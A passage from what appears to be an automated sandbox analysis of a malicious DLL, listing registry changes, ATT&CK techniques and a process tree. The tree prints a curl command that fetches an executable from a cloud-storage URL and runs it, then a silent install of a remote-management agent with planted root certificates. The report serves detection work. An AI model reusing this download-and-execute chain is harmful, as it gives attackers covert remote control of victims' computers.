627d7f1767e7a4c8bf2e39864e9d602cc60107c701ae1d625433e130174c03d44ced9da1502ed5e3560f19172d3a3aba6bb0ff23ea6b4a3ba0e7e36cb0da33b36bd0fab729892780bb9f79d5430679ff0c343861fda850203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604146efcc2a75d59a92ff31749ef799a2709a8f42160301f0603551d230418301680146efcc2a75d59a92ff31749ef799a2709a8f42160300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101006db05651505e6f6bd5286f1d2918acc4cef081def905e8886b6fca48338acc3fb81486167f72952581f341a534dec2e95f6fa325ac2e8c7d54844d0fcdf3337d6703fc8f0e26a24963f441e6c52c7df3f9e33cd210ced03a89d9e3edc067f2a799589be178b8a9b603818a2dd82b828fcc905606c8dc3110358dff3cf7f20a09e331de438cd515e3c23d412b211bcdb0bd7072d9825f3f627347a700e000ec70e5412afa49eaea248b48af0734f47b9151ec726d84f5f32060d0bb4e22b26f21d4e7ac63d0383756e99d340e18979d3f902ef8ae882e529f29d56867a2ca43a47d36c44f49becd65541de0c7563c45f6f0b77565fda0d4e253899af2dc23ad1b	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\43BADDBEF107A0B95BEE2C8D553BB8AB8AE229A7\Blob = 03000000010000001400000043baddbef107a0b95bee2c8d553bb8ab8ae229a72000000001000000f0030000308203ec308202d4a00302010202082b5eb3d52c4531ac300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932323135313334395a180f32303531303932323135313334395a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100af8da038e48f91700aa3384e540172de53fc15bb9c3b0007c3d06a9c400a1297cca24b0a9e8f18991b4b4c75bdcde1c5ee213b8ec801b4edaf84a0282184fd72503bc25eb618ea0a866424fc2383ebd9b263a66355736743d62d4a74e7b25ad45c1f48d5e6adc1f97a335ffaa43cf101272a35338bb8b2f396c420a742f04d764b4ab94080cfb644861c7803c1ece2316cfe4ebbf9d414daa2574db37b51e86c9a878da6fe6f93b5d5d0f8d6a41dde9379854324bc4d1abe0767e3e6e85d5d21b218365cd1e6dd0b67844c902a1c1abd074205d0d097e0ed68bfc2a814f1a9e4fdda56acf1f405f56fc757167f214c6c0bf5d2279c132437936d1e648875afa70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604140e43237cd2be531e57212969db4ff6059dc2054f301f0603551d230418301680140e43237cd2be531e57212969db4ff6059dc2054f300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101004d65da269bcdc809c413609d90fda62e872277c410686b38c623bcdfcbbd3870881a3e20a8361881a1963d50261856e00383e4cfcc599d865e21adf94c72199408a44e9fb61312f6d6de9e58d31552df6a0aaa0921e3550d526d866118a66e041f203c19c62024b4e0ffb1e0bd6e93905d246a3f1844296eceaebdd2998be571341b63a4ce2c8372c3b2da594d4e67a761909c39e8664ff95e68773eda8182b81b3282f84d837a5776000164cd82b1d2dddb638d464c65ea1e165058cd4478ee8bee92283611e515d01bc189234af81699eae372089f16a89d30667b1df4ba601a4d53b2fabb33f7096d3de2f2590554464447cde15f0d6387fcea47a77b96f5	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\43BADDBEF107A0B95BEE2C8D553BB8AB8AE229A7\Blob = 0f000000010000002000000031453155f70a41435ac3c8fa5c6c53971b3058c0fcc7a51a0da4198553e6eb3703000000010000001400000043baddbef107a0b95bee2c8d553bb8ab8ae229a72000000001000000f0030000308203ec308202d4a00302010202082b5eb3d52c4531ac300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932323135313334395a180f32303531303932323135313334395a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100af8da038e48f91700aa3384e540172de53fc15bb9c3b0007c3d06a9c400a1297cca24b0a9e8f18991b4b4c75bdcde1c5ee213b8ec801b4edaf84a0282184fd72503bc25eb618ea0a866424fc2383ebd9b263a66355736743d62d4a74e7b25ad45c1f48d5e6adc1f97a335ffaa43cf101272a35338bb8b2f396c420a742f04d764b4ab94080cfb644861c7803c1ece2316cfe4ebbf9d414daa2574db37b51e86c9a878da6fe6f93b5d5d0f8d6a41dde9379854324bc4d1abe0767e3e6e85d5d21b218365cd1e6dd0b67844c902a1c1abd074205d0d097e0ed68bfc2a814f1a9e4fdda56acf1f405f56fc757167f214c6c0bf5d2279c132437936d1e648875afa70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604140e43237cd2be531e57212969db4ff6059dc2054f301f0603551d230418301680140e43237cd2be531e57212969db4ff6059dc2054f300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101004d65da269bcdc809c413609d90fda62e872277c410686b38c623bcdfcbbd3870881a3e20a8361881a1963d50261856e00383e4cfcc599d865e21adf94c72199408a44e9fb61312f6d6de9e58d31552df6a0aaa0921e3550d526d866118a66e041f203c19c62024b4e0ffb1e0bd6e93905d246a3f1844296eceaebdd2998be571341b63a4ce2c8372c3b2da594d4e67a761909c39e8664ff95e68773eda8182b81b3282f84d837a5776000164cd82b1d2dddb638d464c65ea1e165058cd4478ee8bee92283611e515d01bc189234af81699eae372089f16a89d30667b1df4ba601a4d53b2fabb33f7096d3de2f2590554464447cde15f0d6387fcea47a77b96f5	dcagentregister.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	dcagentregister.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	dcagentregister.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcagentregister.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe

Modifies data under HKEY_USERS 49 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	dcagentregister.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{289AF617-1CC3-42A6-926C-E6A863F0E3BA} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 010000000000000053f34e8ec95bdd01	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	dcagentregister.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{35786D3C-B075-49B9-88DD-029876E11C01} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 0100000000000000cc7b4f8ec95bdd01	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	dcagentregister.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-53044966-3830981193-2402648431-1000_Classes\Local Settings	CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe

Modifies system certificate store 2 TTPs 2 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\219B18C4C21E83BD7934B13CCEDD43617ACBC191	dcagentregister.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\43BADDBEF107A0B95BEE2C8D553BB8AB8AE229A7	dcagentregister.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe
1832	rundll32.exe

Suspicious behavior: LoadsDriver 64 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1832	rundll32.exe
Token: SeLoadDriverPrivilege	1832	rundll32.exe
Token: SeTakeOwnershipPrivilege	1832	rundll32.exe
Token: SeIncBasePriorityPrivilege	1832	rundll32.exe
Token: SeTcbPrivilege	1832	rundll32.exe
Token: SeDebugPrivilege	1832	rundll32.exe
Token: SeCreateTokenPrivilege	1832	rundll32.exe
Token: SeAssignPrimaryTokenPrivilege	1832	rundll32.exe
Token: SeLockMemoryPrivilege	1832	rundll32.exe
Token: SeIncreaseQuotaPrivilege	1832	rundll32.exe
Token: SeMachineAccountPrivilege	1832	rundll32.exe
Token: SeTcbPrivilege	1832	rundll32.exe
Token: SeSecurityPrivilege	1832	rundll32.exe
Token: SeTakeOwnershipPrivilege	1832	rundll32.exe
Token: SeLoadDriverPrivilege	1832	rundll32.exe
Token: SeSystemProfilePrivilege	1832	rundll32.exe
Token: SeSystemtimePrivilege	1832	rundll32.exe
Token: SeProfSingleProcessPrivilege	1832	rundll32.exe
Token: SeIncBasePriorityPrivilege	1832	rundll32.exe
Token: SeCreatePagefilePrivilege	1832	rundll32.exe
Token: SeCreatePermanentPrivilege	1832	rundll32.exe
Token: SeBackupPrivilege	1832	rundll32.exe
Token: SeRestorePrivilege	1832	rundll32.exe
Token: SeShutdownPrivilege	1832	rundll32.exe
Token: SeDebugPrivilege	1832	rundll32.exe
Token: SeAuditPrivilege	1832	rundll32.exe
Token: SeSystemEnvironmentPrivilege	1832	rundll32.exe
Token: SeChangeNotifyPrivilege	1832	rundll32.exe
Token: SeRemoteShutdownPrivilege	1832	rundll32.exe
Token: SeUndockPrivilege	1832	rundll32.exe
Token: SeSyncAgentPrivilege	1832	rundll32.exe
Token: SeEnableDelegationPrivilege	1832	rundll32.exe
Token: SeManageVolumePrivilege	1832	rundll32.exe
Token: SeImpersonatePrivilege	1832	rundll32.exe
Token: SeCreateGlobalPrivilege	1832	rundll32.exe
Token: 31	1832	rundll32.exe
Token: 32	1832	rundll32.exe
Token: 33	1832	rundll32.exe
Token: 34	1832	rundll32.exe
Token: 35	1832	rundll32.exe
Token: SeShutdownPrivilege	4460	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4460	msiexec.exe
Token: SeSecurityPrivilege	4940	msiexec.exe
Token: SeCreateTokenPrivilege	4460	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4460	msiexec.exe
Token: SeLockMemoryPrivilege	4460	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4460	msiexec.exe
Token: SeMachineAccountPrivilege	4460	msiexec.exe
Token: SeTcbPrivilege	4460	msiexec.exe
Token: SeSecurityPrivilege	4460	msiexec.exe
Token: SeTakeOwnershipPrivilege	4460	msiexec.exe
Token: SeLoadDriverPrivilege	4460	msiexec.exe
Token: SeSystemProfilePrivilege	4460	msiexec.exe
Token: SeSystemtimePrivilege	4460	msiexec.exe
Token: SeProfSingleProcessPrivilege	4460	msiexec.exe
Token: SeIncBasePriorityPrivilege	4460	msiexec.exe
Token: SeCreatePagefilePrivilege	4460	msiexec.exe
Token: SeCreatePermanentPrivilege	4460	msiexec.exe
Token: SeBackupPrivilege	4460	msiexec.exe
Token: SeRestorePrivilege	4460	msiexec.exe
Token: SeShutdownPrivilege	4460	msiexec.exe
Token: SeDebugPrivilege	4460	msiexec.exe
Token: SeAuditPrivilege	4460	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4460	msiexec.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1832	rundll32.exe
4460	msiexec.exe
4940	msiexec.exe
672	MsiExec.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1832 wrote to memory of 4896	1832	rundll32.exe	91
PID 4896 wrote to memory of 5292	4896	cmd.exe	92
PID 1832 wrote to memory of 5808	1832	rundll32.exe	97
PID 1832 wrote to memory of 4176	1832	rundll32.exe	99
PID 4176 wrote to memory of 4916	4176	CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe	100
PID 4916 wrote to memory of 4460	4916	WScript.exe	101
PID 4940 wrote to memory of 672	4940	msiexec.exe	103
PID 4940 wrote to memory of 4376	4940	msiexec.exe	104
PID 4376 wrote to memory of 6136	4376	dcagentregister.exe	105
PID 6136 wrote to memory of 3412	6136	cmd.exe	107
PID 3412 wrote to memory of 920	3412	net.exe	108
PID 6136 wrote to memory of 2364	6136	cmd.exe	109
PID 6136 wrote to memory of 6116	6136	cmd.exe	110
PID 6136 wrote to memory of 1048	6136	cmd.exe	111
PID 6136 wrote to memory of 4936	6136	cmd.exe	112
PID 6136 wrote to memory of 5088	6136	cmd.exe	113

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	9	curl/8.8.0

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\1eef53fbb9585791902ef581c9fbd6060057fbc1d530577307b3886e8f591b43.dll,#1
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start "" "C:\Windows\System32\rundll32.exe" "C:\Windows\system32\CRClient.dll",EBWebView "C:\Windows\system32\rundll32.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "C:\Windows\system32\CRClient.dll",EBWebView "C:\Windows\system32\rundll32.exe"
    3⤵
    PID:5292
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe" "https://lllaaaooosha.oss-ap-southeast-5.aliyuncs.com/LocalOffice.exe"
  2⤵
  - Downloads MZ/PE file
  PID:5808
- C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe
  "C:\Users\Admin\AppData\Local\Temp\CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe" /S /norestart
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4176
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4460

C:\Windows\system32\rundll32.exe
C:\Windows\system32\rundll32.exe
1⤵
- Executes dropped EXE
PID:4764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:6108

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4940
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 63268DE95583878C20235805D90B0DC6
  2⤵
  - Loads dropped DLL
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:672
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Modifies trusted root certificate store through registry
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Modifies system certificate store
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6136
  - - C:\Windows\SysWOW64\net.exe
      net session
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3412
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:920
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2364
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "UEOYVALH\Admin":(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:6116
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1048
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4936
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5088
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y
    3⤵
    PID:5936

C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
1⤵
PID:3920

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

